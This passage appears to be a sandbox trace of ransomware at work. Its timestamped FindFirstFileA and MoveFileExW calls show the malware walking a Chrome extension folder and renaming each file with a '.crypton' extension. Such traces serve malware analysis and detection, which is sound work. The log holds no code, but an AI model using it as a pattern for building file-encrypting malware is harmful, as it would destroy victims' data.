lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js.crypton"), dwFlags=0x2) returned 1 [0193.941] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html.crypton"), dwFlags=0x2) returned 1 [0194.077] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js.crypton"), dwFlags=0x2) returned 1 [0194.107] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js.crypton"), dwFlags=0x2) returned 1 [0194.114] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\*", lpFindFileData=0x4a6688 | out: lpFindFileData=0x4a6688*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83663ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf10f20a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf10f20a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5499d0 [0194.119] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css.crypton"), dwFlags=0x2) returned 1 [0194.207] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js.crypton"), dwFlags=0x2) returned 1 [0194.211] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js.crypton"), dwFlags=0x2) returned 1 [0194.218] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png.crypton"), dwFlags=0x2) returned 1 [0194.220] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html.crypton"), dwFlags=0x2) returned 1 [0194.224] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html.crypton"), dwFlags=0x2) returned 1 [0194.227] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html.crypton"), dwFlags=0x2) returned 1 [0194.229] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html.crypton"), dwFlags=0x2) returned 1 [0194.235] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\*", lpFindFileData=0x4a6688 | out: lpFindFileData=0x4a6688*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8368d2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1222ba0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1222ba0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5499d0 [0194.241] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html.crypton"), dwFlags=0x2) returned 1 [0194.246] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js.crypton"), dwFlags=0x2) returned 1 [0194.274] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js.crypton"), dwFlags=0x2) returned 1 [0194.279] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css.crypton"), dwFlags=0x2) returned 1 [0194.289] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html.crypton"), dwFlags=0x2) returned 1 [0194.301] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js.crypton"), dwFlags=0x2) returned 1 [0194.494] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css.crypton"), dwFlags=0x2) returned 1 [0194.514] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js.crypton"), dwFlags=0x2) returned 1 [0194.610] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js.crypton"), dwFlags=0x2) returned 1 [0194.900] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js.crypton"), dwFlags=0x2) returned 1 [0194.905] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js.crypton"), dwFlags=0x2) returned 1 [0194.910] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\*", lpFindFileData=0x4a6688 | out: lpFindFileData=0x4a6688*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833e6790, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf18886c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf18886c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5499d0 [0194.916] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833e8ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf18886c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf18886c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0194.921] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833f7900, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf18ae820, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf18ae820, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0194.928] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83403c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf18ae820, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf18ae820, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0194.933] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8340b180, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf18d4980, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf18d4980, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0194.938] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8340ffa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf18d4980, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf18d4980, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0194.944] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 